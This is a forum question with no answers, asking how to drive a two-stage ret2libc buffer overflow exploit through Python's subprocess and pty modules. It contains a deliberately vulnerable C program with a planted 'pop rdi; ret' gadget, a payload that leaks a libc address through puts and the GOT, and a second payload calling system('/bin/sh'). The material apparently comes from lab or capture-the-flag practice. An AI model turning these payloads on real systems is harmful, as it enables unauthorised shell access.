Buffer overflow script using subprocess

91 Views Asked by At

This is my vuln.c code:

#include <stdio.h>
#include <unistd.h>

// this function is added because I need that sequence of assembly istructions in the binary file
void oh_look_useful() {
    asm("pop %rdi; ret");
}

int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    puts("No shell for you :(");
    return 0;
}

int main(int argc, char *argv[]) {
    printf("Try to exec /bin/sh\n");
    vuln();
    return 0;
}

This code has to be compiled with the flag -no-pie to make the buffer overflow exploitable, for example:

gcc vuln.c -no-pie -o vuln

So running the C program, it does a print, then wait for user input and then another print occurs. My python exploit has to send a payload which has to leak the libc base address, restart the program and then make a call to system('/bin/sh'). A good explaination on how it's possible can be found here, but for this particolar code the payload that make the leak and restart the program is built as follow:

def p64(x):
    return struct.pack("<Q", x)

# used variables can be found in many ways, such as the previously linked guide
payload = (
    b"A" * 104 +
    p64(pop_rdi_addr) +
    p64(read_got_addr) +
    p64(puts_plt_addr) +
    p64(main_addr)
)

Now it's time to send the payload, that's what I tried:

process = subprocess.Popen(
    FILENAME,
    stdin=subprocess.PIPE,
    stdout=subprocess.)

with process.stdin as pipe:
    pipe.write(payload)
process.stdout.readline()
process.stdout.readline()
leaked_data = process.stdout.readline()
leaked_addr = u64(leaked_data.ljust(8, b"\x00"))
print(f"Leaked addr: {hex(leaked_addr)}\n")

The correct address is printed. Now the C program is restarted, and it's waiting for another payload. This is the one which is going to call system('/bin/sh'). In my case, the working one is:

payload = b'A' * RIP_OFFSET + p64(pop_rdi_addr) + p64(bin_sh_addr)
# If sigseg occurs when sending payload, try to remove following line
payload += p64(pop_rdi_addr + 1)
# but keep this line
payload += p64(system_addr)

As before, addresses may be found in several ways. Now it's time to send payload and get shell:

with process.stdin as pipe:
   pipe.write(payload)

but for sure it's not going to work because the stdin has been already closed. Then I tried:

  • to put everything into the same with process.stdin as pipe:, but the script is blocked on the very first process.readline().
  • to add a trailing b'\x0a' to payload, that is the binary code for '\n', but nothing changed.
  • to remove any with and use:
process.stdin.write(payload)
process.stdin.flush()
process.stdout.readline()
process.stdout.readline()

but nothing changes again.

I also tried:

payload = (
    b"A" * 104 +
    p64(pop_rdi_addr) +
    p64(read_got_addr) +
    p64(puts_plt_addr) +
    p64(main_addr)
)

master_fd, slave_fd = pty.openpty()
ts = termios.tcgetattr(master_fd)
ts[3] &= ~(termios.ICANON | termios.ECHO)
termios.tcsetattr(master_fd, termios.TCSANOW, ts)

process = subprocess.Popen(
    FILENAME, stdin=slave_fd, stdout=slave_fd,
    preexec_fn=lambda: os.close(master_fd))
try:
    os.close(slave_fd)
    master = os.fdopen(master_fd, 'rb+', buffering=0)
    print('first read')
    print(repr(master.readline()));
    master.write(payload); master.flush()
    print(repr(master.readline()));
    leaked_data = master.readline();
except Exception as e:
    print("Exception occurs:")
    print(str(e))
    exit(-1)
    
leaked_addr = u64(leaked_data.ljust(8, b'\x00'))

based on this more general question, but I got exception:

python script.py
Starting leaking...
first read
b'Try to exec /bin/sh\r\n'
b'No shell for you :(\r\n'
Exception occurs:
[Errno 5] Input/output error

The error occurs when the script tries to read the leaked address. In the last scenario, I'm not able to realize if the C program crashes before leak address or if the problem is in the python script. I'm sure that payloads are correct, because I've already written the same script using the pwntools library and it works, but since the script has to run into the target machine and pwntools is not built-in, then I want to prepare a more general one which only use built-in libraries.

Another thing to keep in mind is that, in the end of the script, I have to continuously interact with the spawned bash, then the stdin/stdout of the process has to be conencted to the python script.

Then my question: how can I get the subprocess correctly communicate with the C program?

0

There are 0 best solutions below